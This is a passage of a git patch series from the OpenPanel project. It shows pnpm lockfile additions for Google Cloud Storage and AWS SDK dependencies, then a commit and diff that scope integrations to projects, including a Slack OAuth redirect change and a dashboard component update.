engines: {node: '>= 0.4'}
@@ -13163,6 +13324,10 @@ packages:
peerDependencies:
ioredis: '>=5'
+ gtoken@7.1.0:
+ resolution: {integrity: sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw==}
+ engines: {node: '>=14.0.0'}
+
gzip-size@6.0.0:
resolution: {integrity: sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==}
engines: {node: '>=10'}
@@ -13236,6 +13401,10 @@ packages:
resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==}
engines: {node: '>= 0.4'}
+ hasown@2.0.4:
+ resolution: {integrity: sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==}
+ engines: {node: '>= 0.4'}
+
hast-util-from-dom@5.0.1:
resolution: {integrity: sha512-N+LqofjR2zuzTjCPzyDUdSshy4Ma6li7p/c3pA78uTwzFgENbgbUrm2ugwsOdcjI1muO+o6Dgzp9p8WHtn/39Q==}
@@ -13335,6 +13504,9 @@ packages:
resolution: {integrity: sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==}
engines: {node: '>=18'}
+ html-entities@2.6.0:
+ resolution: {integrity: sha512-kig+rMn/QOVRvr7c86gQ8lWXq+Hkv6CbAH1hLu+RG338StTpE8Z0b44SDVaqVu7HGKf27frdmUYEs9hTUX/cLQ==}
+
html-escaper@3.0.3:
resolution: {integrity: sha512-RuMffC89BOWQoY0WKGpIhn5gX3iI54O6nRA0yC124NYVtzjmFWBIiFd8M0x+ZdX0P9R4lADg1mgP8C7PxGOWuQ==}
@@ -13365,6 +13537,10 @@ packages:
resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==}
engines: {node: '>= 0.8'}
+ http-proxy-agent@5.0.0:
+ resolution: {integrity: sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==}
+ engines: {node: '>= 6'}
+
http-proxy-agent@7.0.2:
resolution: {integrity: sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==}
engines: {node: '>= 14'}
@@ -14134,9 +14310,15 @@ packages:
jwa@1.4.1:
resolution: {integrity: sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==}
+ jwa@2.0.1:
+ resolution: {integrity: sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==}
+
jws@3.2.2:
resolution: {integrity: sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==}
+ jws@4.0.1:
+ resolution: {integrity: sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==}
+
kafkajs@2.2.4:
resolution: {integrity: sha512-j/YeapB1vfPT2iOIUn/vxdyKEuhuY2PxMBvf5JWux6iSaukAccrMtXEY/Lb7OvavDhOWME589bpLrEdnVHjfjA==}
engines: {node: '>=14.0.0'}
@@ -17069,6 +17251,10 @@ packages:
retext@9.0.0:
resolution: {integrity: sha512-sbMDcpHCNjvlheSgMfEcVrZko3cDzdbe1x/e7G66dFp0Ff7Mldvi2uv6JkJQzdRcvLYE8CA8Oe8siQx8ZOgTcA==}
+ retry-request@7.0.2:
+ resolution: {integrity: sha512-dUOvLMJ0/JJYEn8NrpOaGNE7X3vpI5XlZS/u0ANjqtcZVKnIxP7IgCFwrKTxENw29emmwug53awKtaMm4i9g5w==}
+ engines: {node: '>=14'}
+
retry@0.13.1:
resolution: {integrity: sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==}
engines: {node: '>= 4'}
@@ -17677,6 +17863,9 @@ packages:
resolution: {integrity: sha512-uyQK/mx5QjHun80FLJTfaWE7JtwfRMKBLkMne6udYOmvH0CawotVa7TfgYHzAnpphn4+TweIx1QKMnRIbipmUg==}
engines: {node: '>= 0.10.0'}
+ stream-events@1.0.5:
+ resolution: {integrity: sha512-E1GUzBSgvct8Jsb3v2X15pjzN1tYebtbLaMg+eBOUOAxgbLoSbT2NS91ckc5lJD1KfLjId+jXJRgo0qnV5Nerg==}
+
stream-shift@1.0.3:
resolution: {integrity: sha512-76ORR0DO1o1hlKwTbi/DM3EXWGf3ZJYO8cXX5RJwnul2DEg2oyoZyjLNoQM8WsvZiFKCRfC1O0J7iCvie3RZmQ==}
@@ -17778,9 +17967,6 @@ packages:
strnum@1.0.5:
resolution: {integrity: sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA==}
- strnum@2.1.2:
- resolution: {integrity: sha512-l63NF9y/cLROq/yqKXSLtcMeeyOfnSQlfMSlzFt/K73oIaD8DGaQWd7Z34X9GPiKqP5rbSh84Hl4bOlLcjiSrQ==}
-
strnum@2.2.3:
resolution: {integrity: sha512-oKx6RUCuHfT3oyVjtnrmn19H1SiCqgJSg+54XqURKp5aCMbrXrhLjRN9TjuwMjiYstZ0MzDrHqkGZ5dFTKd+zg==}
@@ -17790,6 +17976,9 @@ packages:
structured-headers@0.4.1:
resolution: {integrity: sha512-0MP/Cxx5SzeeZ10p/bZI0S6MpgD+yxAhi1BOQ34jgnMXsCq3j1t6tQnZu+KdlL7dvJTLT3g9xN8tl10TqgFMcg==}
+ stubs@3.0.0:
+ resolution: {integrity: sha512-PdHt7hHUJKxvTCgbKX9C1V/ftOcjJQgz8BZwNfV5c4B6dcGqlpelTbJ999jBGZ2jYiPAwcX5dP6oBwVlBlUbxw==}
+
style-mod@4.1.3:
resolution: {integrity: sha512-i/n8VsZydrugj3Iuzll8+x/00GH2vnYsk1eomD8QiRrSAeW6ItbCQDtfXCeJHd0iwiNagqjQkvpvREEPtW3IoQ==}
@@ -17939,6 +18128,10 @@ packages:
tdigest@0.1.2:
resolution: {integrity: sha512-+G0LLgjjo9BZX2MfdvPfH+MKLCrxlXSYec5DaPYP1fe6Iyhf0/fSmJ0bFiZ1F8BT6cGXl2LpltQptzjXKWEkKA==}
+ teeny-request@9.0.0:
+ resolution: {integrity: sha512-resvxdc6Mgb7YEThw6G6bExlXKkv6+YbuzGg9xuXxSgxJF7Ozs+o8Y9+2R3sArdWdW8nOokoQb1yrpFB0pQK2g==}
+ engines: {node: '>=14'}
+
temp-dir@1.0.0:
resolution: {integrity: sha512-xZFXEGbG7SNC3itwBzI3RYjq/cEhBkx2hJuKGIUOcEULmkQExXiHat2z/qkISYsuR+IKumhEfKKbV5qXmhICFQ==}
engines: {node: '>=4'}
@@ -19635,10 +19828,6 @@ packages:
resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==}
engines: {node: '>=10'}
- yocto-queue@1.1.1:
- resolution: {integrity: sha512-b4JR1PFR10y1mKjhHY9LaGo6tmrgjit7hxVIeAmyMw3jegXR4dhYqLaQF5zMXZxY7tLpMyJeLjr1C4rLmkVe8g==}
- engines: {node: '>=12.20'}
-
yocto-queue@1.2.2:
resolution: {integrity: sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ==}
engines: {node: '>=12.20'}
@@ -20131,6 +20320,18 @@ snapshots:
transitivePeerDependencies:
- aws-crt
+ '@aws-sdk/client-sts@3.1117.0':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/credential-provider-node': 3.972.81
+ '@aws-sdk/signature-v4-multi-region': 3.996.46
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/fetch-http-handler': 5.7.2
+ '@smithy/node-http-handler': 4.11.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/core@3.973.10':
dependencies:
'@aws-sdk/types': 3.973.1
@@ -20147,11 +20348,30 @@ snapshots:
'@smithy/util-utf8': 4.2.0
tslib: 2.8.1
+ '@aws-sdk/core@3.977.9':
+ dependencies:
+ '@aws-sdk/types': 3.974.5
+ '@aws-sdk/xml-builder': 3.972.40
+ '@aws/lambda-invoke-store': 0.3.0
+ '@smithy/core': 3.33.3
+ '@smithy/signature-v4': 5.7.3
+ '@smithy/types': 4.17.2
+ bowser: 2.14.1
+ tslib: 2.8.1
+
'@aws-sdk/crc64-nvme@3.972.0':
dependencies:
'@smithy/types': 4.12.0
tslib: 2.8.1
+ '@aws-sdk/credential-provider-env@3.972.70':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/credential-provider-env@3.972.8':
dependencies:
'@aws-sdk/core': 3.973.10
@@ -20173,6 +20393,16 @@ snapshots:
'@smithy/util-stream': 4.5.12
tslib: 2.8.1
+ '@aws-sdk/credential-provider-http@3.972.72':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/fetch-http-handler': 5.7.2
+ '@smithy/node-http-handler': 4.11.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/credential-provider-ini@3.972.8':
dependencies:
'@aws-sdk/core': 3.973.10
@@ -20192,6 +20422,31 @@ snapshots:
transitivePeerDependencies:
- aws-crt
+ '@aws-sdk/credential-provider-ini@3.973.15':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/credential-provider-env': 3.972.70
+ '@aws-sdk/credential-provider-http': 3.972.72
+ '@aws-sdk/credential-provider-login': 3.972.77
+ '@aws-sdk/credential-provider-process': 3.972.70
+ '@aws-sdk/credential-provider-sso': 3.973.14
+ '@aws-sdk/credential-provider-web-identity': 3.972.76
+ '@aws-sdk/nested-clients': 3.997.44
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/credential-provider-imds': 4.5.2
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
+ '@aws-sdk/credential-provider-login@3.972.77':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/nested-clients': 3.997.44
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/credential-provider-login@3.972.8':
dependencies:
'@aws-sdk/core': 3.973.10
@@ -20205,6 +20460,20 @@ snapshots:
transitivePeerDependencies:
- aws-crt
+ '@aws-sdk/credential-provider-node@3.972.81':
+ dependencies:
+ '@aws-sdk/credential-provider-env': 3.972.70
+ '@aws-sdk/credential-provider-http': 3.972.72
+ '@aws-sdk/credential-provider-ini': 3.973.15
+ '@aws-sdk/credential-provider-process': 3.972.70
+ '@aws-sdk/credential-provider-sso': 3.973.14
+ '@aws-sdk/credential-provider-web-identity': 3.972.76
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/credential-provider-imds': 4.5.2
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/credential-provider-node@3.972.9':
dependencies:
'@aws-sdk/credential-provider-env': 3.972.8
@@ -20222,6 +20491,14 @@ snapshots:
transitivePeerDependencies:
- aws-crt
+ '@aws-sdk/credential-provider-process@3.972.70':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/credential-provider-process@3.972.8':
dependencies:
'@aws-sdk/core': 3.973.10
@@ -20244,6 +20521,25 @@ snapshots:
transitivePeerDependencies:
- aws-crt
+ '@aws-sdk/credential-provider-sso@3.973.14':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/nested-clients': 3.997.44
+ '@aws-sdk/token-providers': 3.1116.0
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
+ '@aws-sdk/credential-provider-web-identity@3.972.76':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/nested-clients': 3.997.44
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/credential-provider-web-identity@3.972.8':
dependencies:
'@aws-sdk/core': 3.973.10
@@ -20425,6 +20721,17 @@ snapshots:
transitivePeerDependencies:
- aws-crt
+ '@aws-sdk/nested-clients@3.997.44':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/signature-v4-multi-region': 3.996.46
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/fetch-http-handler': 5.7.2
+ '@smithy/node-http-handler': 4.11.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/region-config-resolver@3.972.3':
dependencies:
'@aws-sdk/types': 3.973.1
@@ -20442,6 +20749,22 @@ snapshots:
'@smithy/types': 4.12.0
tslib: 2.8.1
+ '@aws-sdk/signature-v4-multi-region@3.996.46':
+ dependencies:
+ '@aws-sdk/types': 3.974.5
+ '@smithy/signature-v4': 5.7.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
+ '@aws-sdk/token-providers@3.1116.0':
+ dependencies:
+ '@aws-sdk/core': 3.977.9
+ '@aws-sdk/nested-clients': 3.997.44
+ '@aws-sdk/types': 3.974.5
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/token-providers@3.990.0':
dependencies:
'@aws-sdk/core': 3.973.10
@@ -20459,6 +20782,11 @@ snapshots:
'@smithy/types': 4.12.0
tslib: 2.8.1
+ '@aws-sdk/types@3.974.5':
+ dependencies:
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws-sdk/util-arn-parser@3.972.2':
dependencies:
tslib: 2.8.1
@@ -20504,8 +20832,15 @@ snapshots:
fast-xml-parser: 5.3.4
tslib: 2.8.1
+ '@aws-sdk/xml-builder@3.972.40':
+ dependencies:
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@aws/lambda-invoke-store@0.2.3': {}
+ '@aws/lambda-invoke-store@0.3.0': {}
+
'@babel/code-frame@7.10.4':
dependencies:
'@babel/highlight': 7.23.4
@@ -23944,6 +24279,35 @@ snapshots:
'@gar/promisify@1.1.3': {}
+ '@google-cloud/paginator@5.0.2':
+ dependencies:
+ arrify: 2.0.1
+ extend: 3.0.2
+
+ '@google-cloud/projectify@4.0.0': {}
+
+ '@google-cloud/promisify@4.0.0': {}
+
+ '@google-cloud/storage@7.22.0(supports-color@10.2.0)':
+ dependencies:
+ '@google-cloud/paginator': 5.0.2
+ '@google-cloud/projectify': 4.0.0
+ '@google-cloud/promisify': 4.0.0
+ abort-controller: 3.0.0
+ async-retry: 1.3.3
+ duplexify: 4.1.3
+ fast-xml-parser: 5.5.10
+ gaxios: 6.7.1(supports-color@10.2.0)
+ google-auth-library: 9.15.1(supports-color@10.2.0)
+ html-entities: 2.6.0
+ mime: 3.0.0
+ p-limit: 3.1.0
+ retry-request: 7.0.2(supports-color@10.2.0)
+ teeny-request: 9.0.0(supports-color@10.2.0)
+ transitivePeerDependencies:
+ - encoding
+ - supports-color
+
'@graphql-typed-document-node/core@3.2.0(graphql@15.8.0)':
dependencies:
graphql: 15.8.0
@@ -28436,6 +28800,11 @@ snapshots:
'@smithy/uuid': 1.1.0
tslib: 2.8.1
+ '@smithy/core@3.33.3':
+ dependencies:
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@smithy/credential-provider-imds@4.2.8':
dependencies:
'@smithy/node-config-provider': 4.3.8
@@ -28444,6 +28813,12 @@ snapshots:
'@smithy/url-parser': 4.2.8
tslib: 2.8.1
+ '@smithy/credential-provider-imds@4.5.2':
+ dependencies:
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@smithy/eventstream-codec@4.2.8':
dependencies:
'@aws-crypto/crc32': 5.2.0
@@ -28482,6 +28857,12 @@ snapshots:
'@smithy/util-base64': 4.3.0
tslib: 2.8.1
+ '@smithy/fetch-http-handler@5.7.2':
+ dependencies:
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@smithy/hash-blob-browser@4.2.9':
dependencies:
'@smithy/chunked-blob-reader': 5.2.0
@@ -28568,6 +28949,12 @@ snapshots:
'@smithy/types': 4.12.0
tslib: 2.8.1
+ '@smithy/node-http-handler@4.11.3':
+ dependencies:
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@smithy/node-http-handler@4.4.10':
dependencies:
'@smithy/abort-controller': 4.2.8
@@ -28617,6 +29004,12 @@ snapshots:
'@smithy/util-utf8': 4.2.0
tslib: 2.8.1
+ '@smithy/signature-v4@5.7.3':
+ dependencies:
+ '@smithy/core': 3.33.3
+ '@smithy/types': 4.17.2
+ tslib: 2.8.1
+
'@smithy/smithy-client@4.11.3':
dependencies:
'@smithy/core': 3.23.0
@@ -28631,6 +29024,10 @@ snapshots:
dependencies:
tslib: 2.8.1
+ '@smithy/types@4.17.2':
+ dependencies:
+ tslib: 2.8.1
+
'@smithy/url-parser@4.2.8':
dependencies:
'@smithy/querystring-parser': 4.2.8
@@ -29352,6 +29749,8 @@ snapshots:
'@types/react': 19.2.7
'@types/react-dom': 19.2.3(@types/react@19.2.7)
+ '@tootallnate/once@2.0.1': {}
+
'@trpc/client@11.17.0(@trpc/server@11.17.0(typescript@5.9.3))(typescript@5.9.3)':
dependencies:
'@trpc/server': 11.17.0(typescript@5.9.3)
@@ -29442,6 +29841,8 @@ snapshots:
dependencies:
'@types/node': 20.19.24
+ '@types/caseless@0.12.5': {}
+
'@types/compression@1.7.5':
dependencies:
'@types/express': 5.0.3
@@ -29886,6 +30287,13 @@ snapshots:
dependencies:
'@types/node': 20.19.24
+ '@types/request@2.48.13':
+ dependencies:
+ '@types/caseless': 0.12.5
+ '@types/node': 20.19.24
+ '@types/tough-cookie': 4.0.5
+ form-data: 2.5.6
+
'@types/resolve@1.20.2': {}
'@types/retry@0.12.0': {}
@@ -29936,6 +30344,8 @@ snapshots:
dependencies:
'@types/node': 20.19.24
+ '@types/tough-cookie@4.0.5': {}
+
'@types/triple-beam@1.3.5': {}
'@types/tsscmp@1.0.2': {}
@@ -30804,6 +31214,10 @@ snapshots:
async-limiter@1.0.1: {}
+ async-retry@1.3.3:
+ dependencies:
+ retry: 0.13.1
+
async-sema@3.1.1: {}
async@3.2.5: {}
@@ -33493,7 +33907,7 @@ snapshots:
fast-xml-parser@5.3.4:
dependencies:
- strnum: 2.1.2
+ strnum: 2.2.3
fast-xml-parser@5.5.10:
dependencies:
@@ -33761,6 +34175,15 @@ snapshots:
combined-stream: 1.0.8
mime-types: 2.1.35
+ form-data@2.5.6:
+ dependencies:
+ asynckit: 0.4.0
+ combined-stream: 1.0.8
+ es-set-tostringtag: 2.1.0
+ hasown: 2.0.4
+ mime-types: 2.1.35
+ safe-buffer: 5.2.1
+
form-data@3.0.4:
dependencies:
asynckit: 0.4.0
@@ -34291,6 +34714,18 @@ snapshots:
dependencies:
csstype: 3.2.3
+ google-auth-library@9.15.1(supports-color@10.2.0):
+ dependencies:
+ base64-js: 1.5.1
+ ecdsa-sig-formatter: 1.0.11
+ gaxios: 6.7.1(supports-color@10.2.0)
+ gcp-metadata: 6.1.0(supports-color@10.2.0)
+ gtoken: 7.1.0(supports-color@10.2.0)
+ jws: 4.0.1
+ transitivePeerDependencies:
+ - encoding
+ - supports-color
+
gopd@1.2.0: {}
graceful-fs@4.2.11: {}
@@ -34307,6 +34742,14 @@ snapshots:
cron-parser: 4.9.0
ioredis: 5.8.2(supports-color@10.2.0)
+ gtoken@7.1.0(supports-color@10.2.0):
+ dependencies:
+ gaxios: 6.7.1(supports-color@10.2.0)
+ jws: 4.0.1
+ transitivePeerDependencies:
+ - encoding
+ - supports-color
+
gzip-size@6.0.0:
dependencies:
duplexer: 0.1.2
@@ -34382,6 +34825,10 @@ snapshots:
dependencies:
function-bind: 1.1.2
+ hasown@2.0.4:
+ dependencies:
+ function-bind: 1.1.2
+
hast-util-from-dom@5.0.1:
dependencies:
'@types/hast': 3.0.4
@@ -34581,6 +35028,8 @@ snapshots:
dependencies:
whatwg-encoding: 3.1.1
+ html-entities@2.6.0: {}
+
html-escaper@3.0.3: {}
html-to-text@9.0.5:
@@ -34627,6 +35076,14 @@ snapshots:
statuses: 2.0.2
toidentifier: 1.0.1
+ http-proxy-agent@5.0.0(supports-color@10.2.0):
+ dependencies:
+ '@tootallnate/once': 2.0.1
+ agent-base: 6.0.2(supports-color@10.2.0)
+ debug: 4.4.3(supports-color@10.2.0)
+ transitivePeerDependencies:
+ - supports-color
+
http-proxy-agent@7.0.2(supports-color@10.2.0):
dependencies:
agent-base: 7.1.4
@@ -35466,11 +35923,22 @@ snapshots:
ecdsa-sig-formatter: 1.0.11
safe-buffer: 5.2.1
+ jwa@2.0.1:
+ dependencies:
+ buffer-equal-constant-time: 1.0.1
+ ecdsa-sig-formatter: 1.0.11
+ safe-buffer: 5.2.1
+
jws@3.2.2:
dependencies:
jwa: 1.4.1
safe-buffer: 5.2.1
+ jws@4.0.1:
+ dependencies:
+ jwa: 2.0.1
+ safe-buffer: 5.2.1
+
kafkajs@2.2.4: {}
katex@0.16.21:
@@ -37711,7 +38179,7 @@ snapshots:
p-limit@5.0.0:
dependencies:
- yocto-queue: 1.1.1
+ yocto-queue: 1.2.2
p-limit@7.3.0:
dependencies:
@@ -39351,6 +39819,15 @@ snapshots:
retext-stringify: 4.0.0
unified: 11.0.5
+ retry-request@7.0.2(supports-color@10.2.0):
+ dependencies:
+ '@types/request': 2.48.13
+ extend: 3.0.2
+ teeny-request: 9.0.0(supports-color@10.2.0)
+ transitivePeerDependencies:
+ - encoding
+ - supports-color
+
retry@0.13.1: {}
reusify@1.0.4: {}
@@ -40103,6 +40580,10 @@ snapshots:
stream-buffers@2.2.0: {}
+ stream-events@1.0.5:
+ dependencies:
+ stubs: 3.0.0
+
stream-shift@1.0.3: {}
streamsearch@1.1.0: {}
@@ -40233,14 +40714,14 @@ snapshots:
strnum@1.0.5: {}
- strnum@2.1.2: {}
-
strnum@2.2.3: {}
structured-clone-es@1.0.0: {}
structured-headers@0.4.1: {}
+ stubs@3.0.0: {}
+
style-mod@4.1.3: {}
style-to-js@1.1.21:
@@ -40453,6 +40934,17 @@ snapshots:
dependencies:
bintrees: 1.0.2
+ teeny-request@9.0.0(supports-color@10.2.0):
+ dependencies:
+ http-proxy-agent: 5.0.0(supports-color@10.2.0)
+ https-proxy-agent: 5.0.1(supports-color@10.2.0)
+ node-fetch: 2.7.0
+ stream-events: 1.0.5
+ uuid: 9.0.1
+ transitivePeerDependencies:
+ - encoding
+ - supports-color
+
temp-dir@1.0.0: {}
temp-dir@2.0.0: {}
@@ -42156,8 +42648,6 @@ snapshots:
yocto-queue@0.1.0: {}
- yocto-queue@1.1.1: {}
-
yocto-queue@1.2.2: {}
yoctocolors-cjs@2.1.2: {}
From 3f3a1e910362ab82b4717377388797b19e96c1d1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Tue, 23 Jun 2026 11:41:06 +0200
Subject: [PATCH 02/15] feat: scope integrations to projects (dual-scope)
Phase 1 of the integrations rework. Adds a nullable Integration.projectId:
set = project-scoped, null = legacy org-wide. Existing org integrations keep
working untouched (additive migration, no backfill).
- schema: Integration.projectId (nullable FK) + indexes; Project reverse relation.
- export cron: project-scoped integrations export only their project; legacy
org-wide rows still fan out across the org's projects.
- validation/tRPC: create inputs take projectId (org derived from project);
added in-handler getProjectAccess to list + createOrUpdate* (closing a
pre-existing authz gap that trusted client-supplied scope); get/delete use
project-or-org access by scope. list also surfaces legacy org-wide rows.
- notification rules: connected integrations must belong to the same project
(or be org-wide in the same org); also added the missing access check on the
rule create branch.
- Slack OAuth carries projectId through install metadata + callback redirect.
- dashboard: integrations moved to project-scoped routes + sidebar; org route
and org-level "add integration" CTA removed.
typecheck + tests green (657).
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
.../api/src/controllers/webhook.controller.ts | 11 +-
.../integrations/active-integrations.tsx | 6 +-
.../forms/discord-integration.tsx | 4 +-
.../forms/gcs-export-integration.tsx | 4 +-
.../forms/s3-export-integration.tsx | 4 +-
.../integrations/forms/slack-integration.tsx | 4 +-
.../forms/webhook-integration.tsx | 4 +-
.../components/sidebar-organization-menu.tsx | 23 +-
.../src/components/sidebar-project-menu.tsx | 7 +
apps/start/src/modals/add-integration.tsx | 5 +-
.../src/modals/add-notification-rule.tsx | 4 +-
apps/start/src/routeTree.gen.ts | 268 +++++++++---------
...rojectId.integrations._tabs.available.tsx} | 2 +-
...Id.$projectId.integrations._tabs.index.tsx | 17 ++
...rojectId.integrations._tabs.installed.tsx} | 2 +-
...ationId.$projectId.integrations._tabs.tsx} | 21 +-
...rganizationId.integrations._tabs.index.tsx | 18 --
apps/worker/src/jobs/cron.flush-exports.ts | 19 +-
.../migration.sql | 11 +
packages/db/prisma/schema.prisma | 8 +
.../db/src/services/notification.service.ts | 2 +
packages/integrations/src/slack.ts | 5 +-
packages/trpc/src/routers/integration.ts | 151 ++++++----
packages/trpc/src/routers/notification.ts | 42 ++-
packages/validation/src/index.ts | 2 +-
25 files changed, 368 insertions(+), 276 deletions(-)
rename apps/start/src/routes/{_app.$organizationId.integrations._tabs.available.tsx => _app.$organizationId.$projectId.integrations._tabs.available.tsx} (79%)
create mode 100644 apps/start/src/routes/_app.$organizationId.$projectId.integrations._tabs.index.tsx
rename apps/start/src/routes/{_app.$organizationId.integrations._tabs.installed.tsx => _app.$organizationId.$projectId.integrations._tabs.installed.tsx} (80%)
rename apps/start/src/routes/{_app.$organizationId.integrations._tabs.tsx => _app.$organizationId.$projectId.integrations._tabs.tsx} (65%)
delete mode 100644 apps/start/src/routes/_app.$organizationId.integrations._tabs.index.tsx
create mode 100644 packages/db/prisma/migrations/20260623092702_integration_project_scope/migration.sql
diff --git a/apps/api/src/controllers/webhook.controller.ts b/apps/api/src/controllers/webhook.controller.ts
index 26db5fec2..7d27091d3 100644
--- a/apps/api/src/controllers/webhook.controller.ts
+++ b/apps/api/src/controllers/webhook.controller.ts
@@ -26,6 +26,9 @@ const paramsSchema = z.object({
const metadataSchema = z.object({
organizationId: z.string(),
integrationId: z.string(),
+ // Optional for back-compat with install URLs generated before integrations
+ // became project-scoped; the post-install redirect falls back to the org page.
+ projectId: z.string().optional(),
});
export async function slackWebhook(
@@ -87,7 +90,7 @@ export async function slackWebhook(
'👋 Hello. You have successfully connected OpenPanel.dev to your Slack workspace.',
});
- const { organizationId, integrationId } = parsedMetadata.data;
+ const { organizationId, integrationId, projectId } = parsedMetadata.data;
await db.integration.update({
where: {
@@ -102,8 +105,12 @@ export async function slackWebhook(
},
});
+ const dashboardUrl =
+ process.env.DASHBOARD_URL || process.env.NEXT_PUBLIC_DASHBOARD_URL;
return reply.redirect(
- `${process.env.DASHBOARD_URL || process.env.NEXT_PUBLIC_DASHBOARD_URL}/${organizationId}/integrations/installed`
+ projectId
+ ? `${dashboardUrl}/${organizationId}/${projectId}/integrations/installed`
+ : `${dashboardUrl}/${organizationId}/integrations/installed`
);
} catch (err) {
request.log.error(err);
diff --git a/apps/start/src/components/integrations/active-integrations.tsx b/apps/start/src/components/integrations/active-integrations.tsx
index f4db1f9f4..e1858f6dc 100644
--- a/apps/start/src/components/integrations/active-integrations.tsx
+++ b/apps/start/src/components/integrations/active-integrations.tsx
@@ -17,11 +17,11 @@ import {
import { INTEGRATIONS } from './integrations';
export function ActiveIntegrations() {
- const { organizationId } = useAppParams();
+ const { projectId } = useAppParams();
const trpc = useTRPC();
const query = useQuery(
trpc.integration.list.queryOptions({
- organizationId: organizationId!,
+ projectId: projectId!,
}),
);
const client = useQueryClient();
@@ -30,7 +30,7 @@ export function ActiveIntegrations() {
onSuccess() {
client.refetchQueries(
trpc.integration.list.queryFilter({
- organizationId,
+ projectId,
}),
);
},
